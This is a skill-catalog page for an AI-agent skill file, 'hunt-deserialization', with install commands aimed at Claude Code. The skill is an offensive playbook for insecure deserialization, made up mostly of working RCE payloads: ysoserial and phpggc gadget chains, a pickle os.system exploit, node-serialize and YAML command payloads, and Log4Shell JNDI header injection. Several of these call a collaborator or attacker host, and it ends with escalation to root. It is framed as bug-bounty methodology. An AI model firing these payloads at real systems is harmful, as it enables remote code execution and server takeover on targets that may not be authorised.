Agent Skillselementalsouls/Claude-BugHunter › hunt-deserialization

hunt-deserialization

GitHub

针对Java、PHP、Python、.NET及Ruby等语言的反序列化漏洞狩猎技能,提供ysoserial、phpggc等工具的使用方法及攻击面检测模式,旨在发现并验证可导致RCE的关键安全缺陷。

skills/hunt-deserialization/SKILL.md elementalsouls/Claude-BugHunter

Trigger Scenarios

需要测试反序列化漏洞 目标系统涉及多语言序列化 进行安全渗透测试

Install

npx skills add elementalsouls/Claude-BugHunter --skill hunt-deserialization -g -y
More Options

Use without installing

npx skills use elementalsouls/Claude-BugHunter@hunt-deserialization

指定 Agent (Claude Code)

npx skills add elementalsouls/Claude-BugHunter --skill hunt-deserialization -a claude-code -g -y

安装 repo 全部 skill

npx skills add elementalsouls/Claude-BugHunter --all -g -y

预览 repo 内 skill

npx skills add elementalsouls/Claude-BugHunter --list

SKILL.md

Frontmatter
{
    "name": "hunt-deserialization",
    "sources": "hackerone_public",
    "description": "Hunt Insecure Deserialization — Java gadget chains (ysoserial), PHP object injection (phpggc), Python pickle RCE, .NET BinaryFormatter, Ruby Marshal.load, JNDI\/Log4Shell. RCE via deserialization is almost always Critical. Use when target runs Java, PHP serialization, Python pickle, .NET, or Ruby on Rails.",
    "report_count": 22
}

HUNT-DESERIALIZATION — Insecure Deserialization

Crown Jewel Targets

Deserialization bugs are almost always Critical — they lead directly to RCE without prerequisite conditions.

Highest-value chains:

  • Java ysoserial gadget chains — CommonsCollections, Spring, JNDI, Groovy gadgets → full OS command execution
  • PHP Object Injection__wakeup / __destruct magic methods → file write / RCE
  • Python picklepickle.loads(attacker_data)__reduce__os.system('id')
  • .NET BinaryFormatter — TypeConfuseDelegate gadget chain → RCE
  • Ruby Marshal.load — Gem::Requirement, Gem::Installer gadgets → RCE
  • JNDI injection — Log4Shell pattern: ${jndi:ldap://attacker/a} → class load → RCE

Attack Surface Signals

Detection Patterns

# Java serialized objects start with AC ED 00 05 (hex) or rO0A (base64)
echo "rO0ABXQ=" | base64 -d | xxd | head -1  # shows: ac ed 00 05

# PHP serialization: O:8:"stdClass":0:{}
# Python pickle: starts with \x80\x04 (protocol 4) or \x80\x02

# Apache Shiro: rememberMe cookie present
curl -sI https://$TARGET/ | grep -i "Set-Cookie.*rememberMe"

# Log4j: test user-controlled fields for JNDI interpolation
curl -H 'User-Agent: ${jndi:dns://COLLAB_HOST/a}' https://$TARGET/

Header / Cookie Signals

Content-Type: application/x-java-serialized-object
Cookie containing rO0= prefix (Java base64 serialized)
Cookie: rememberMe= (Apache Shiro)
Cookie: _VIEWSTATE (ASP.NET ViewState without encryption)
Endpoints: /remoting/, /invoker/, /jmx-console/, /wls-wsat/

Step-by-Step Hunting Methodology

Phase 1 — Java Deserialization (ysoserial)

# Install ysoserial
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar

# Generate OOB detection payload
java -jar ysoserial-all.jar CommonsCollections6 \
  'curl http://COLLAB_HOST/ysoserial' | base64 -w0

# Send as body or cookie
java -jar ysoserial-all.jar CommonsCollections6 'id > /tmp/pwned' | base64 | \
  curl -s https://$TARGET/wls-wsat/CoordinatorPortType \
    -H "Content-Type: application/x-java-serialized-object" \
    --data-binary @-

# Apache Shiro exploit (default AES key)
python3 shiro_exploit.py -u https://$TARGET/ -c "id"

Phase 2 — PHP Object Injection

# Find unserialize() calls in source
grep -r "unserialize(" --include="*.php" .

# Inject test: O:8:"stdClass":1:{s:4:"test";s:5:"value";}
# Send in cookie, POST param, or hidden form field
# If error changes → deserialization confirmed

# Craft gadget chain using phpggc
git clone https://github.com/ambionics/phpggc
php phpggc -l  # list chains
php phpggc Laravel/RCE5 system id | base64

Phase 3 — Python Pickle

# Generate OOB payload
python3 -c "
import pickle, os, base64
class Exploit(object):
    def __reduce__(self):
        return (os.system, ('curl http://COLLAB_HOST/pickle-rce',))
print(base64.b64encode(pickle.dumps(Exploit())).decode())
"

# Send as cookie or POST body
curl -s https://$TARGET/api/load-model \
  -H "Content-Type: application/octet-stream" \
  --data-binary @payload.pkl

Phase 3b — PHP phar://, Python YAML, Node deserialization

  • PHP phar:// (no unserialize() call) — any filesystem function (file_exists/fopen/getimagesize) on a phar:// path deserializes the archive metadata -> object injection with zero unserialize() in code.
    phpggc -p phar -o poly.jpg Monolog/RCE1 system id   # valid-image + phar polyglot
    # then reach  phar://uploads/poly.jpg/x  via any fs call
    
  • Python yaml.load() (CVE-2017-18342) — pre-5.1 default-unsafe: !!python/object/apply:os.system ['curl http://$COLLAB/yaml']
  • Node node-serialize (CVE-2017-5941) — IIFE marker in any field passed to unserialize(): {"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('curl http://$COLLAB/node')}()"}

Phase 4 — .NET ViewState

# Check if ViewState is unsigned (MAC disabled)
# Look for __VIEWSTATE in HTML source without __VIEWSTATEMAC

# YSoSerial.Net
dotnet YSoSerial.exe -f BinaryFormatter -g TypeConfuseDelegate \
  -c "cmd /c curl http://COLLAB_HOST/viewstate-rce" -o base64

Phase 5 — Log4Shell / JNDI

# Test all user-controlled inputs
COLLAB="COLLAB_HOST"
for HEADER in "User-Agent" "X-Forwarded-For" "Referer" "X-Api-Version" "Accept-Language"; do
  curl -s https://$TARGET/ -H "$HEADER: \${jndi:dns://$COLLAB/$HEADER}" &
done

# Test POST body fields
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d "{\"username\": \"\${jndi:ldap://$COLLAB/a}\"}"

Phase 6 — Ruby Marshal

# Look for Marshal.load in source
grep -r "Marshal.load\|Marshal.restore" --include="*.rb" .

# Gem::Requirement gadget chain via marshalable objects
# Use ruby-advisory-db gadgets

Chain Table

Deserialization signal Chain to Impact
Any deser RCE /etc/passwd + id output Prove arbitrary command execution
RCE as low-privilege user Find SUID binaries / sudo rules Privilege escalation → root
Blind RCE (OOB callback) DNS callback → confirm exec Sufficient for Critical PoC
Log4Shell LDAP → JNDI → class load Full RCE on JVM process

Automation

# OOB listener
interactsh-client -v -n 5

# JNDI exploit kit
git clone https://github.com/pimps/JNDI-Exploit-Kit

Validation

✅ DNS/HTTP callback from COLLAB host: blind deserialization confirmed ✅ Command output in response: full RCE confirmed

Severity: Almost always Critical — RCE with server process privileges.

Version History

  • 0efc24c Current 2026-09-02 20:55

Same Skill Collection

skills/bb-methodology/SKILL.md
skills/hunt-aspnet/SKILL.md
skills/hunt-cors/SKILL.md
skills/hunt-dispatch/SKILL.md
skills/hunt-exceptional-conditions/SKILL.md
skills/hunt-graphql/SKILL.md
skills/hunt-html-injection/SKILL.md
skills/hunt-idor/SKILL.md
skills/hunt-laravel/SKILL.md
skills/hunt-lfi/SKILL.md
skills/hunt-misc/SKILL.md
skills/hunt-nextjs/SKILL.md
skills/hunt-nodejs/SKILL.md
skills/hunt-nosqli/SKILL.md
skills/hunt-ntlm-info/SKILL.md
skills/hunt-oauth/SKILL.md
skills/hunt-open-redirect/SKILL.md
skills/hunt-rce/SKILL.md
skills/hunt-source-leak/SKILL.md
skills/hunt-springboot/SKILL.md
skills/hunt-websocket/SKILL.md
skills/hunt-xss/SKILL.md
skills/hunt-xxe/SKILL.md
skills/redteam-mindset/SKILL.md
skills/security-arsenal/SKILL.md
skills/triage-validation/SKILL.md
skills/web2-recon/SKILL.md
skills/web3-audit/SKILL.md
skills/apk-redteam-pipeline/SKILL.md
skills/bb-local-toolkit/SKILL.md
skills/bug-bounty/SKILL.md
skills/bugcrowd-reporting/SKILL.md
skills/cloud-iam-deep/SKILL.md
skills/enterprise-vpn-attack/SKILL.md
skills/evidence-hygiene/SKILL.md
skills/hunt-api-misconfig/SKILL.md
skills/hunt-ato/SKILL.md
skills/hunt-auth-bypass/SKILL.md
skills/hunt-brute-force/SKILL.md
skills/hunt-business-logic/SKILL.md
skills/hunt-cache-poison/SKILL.md
skills/hunt-captcha-bypass/SKILL.md
skills/hunt-cicd/SKILL.md
skills/hunt-clickjacking/SKILL.md
skills/hunt-cloud-misconfig/SKILL.md
skills/hunt-csrf/SKILL.md
skills/hunt-dom/SKILL.md
skills/hunt-file-upload/SKILL.md
skills/hunt-fintech-graphql/SKILL.md

Metadata

Files
0
Version
0efc24c
Hash
4c30e08e
Indexed
2026-09-02 20:55

trang chủ - Wiki
Copyright © 2011-2026 iteam. Current version is 2.155.2. UTC+08:00, 2026-09-03 01:22
浙ICP备14020137号-1 $bản đồ khách truy cập$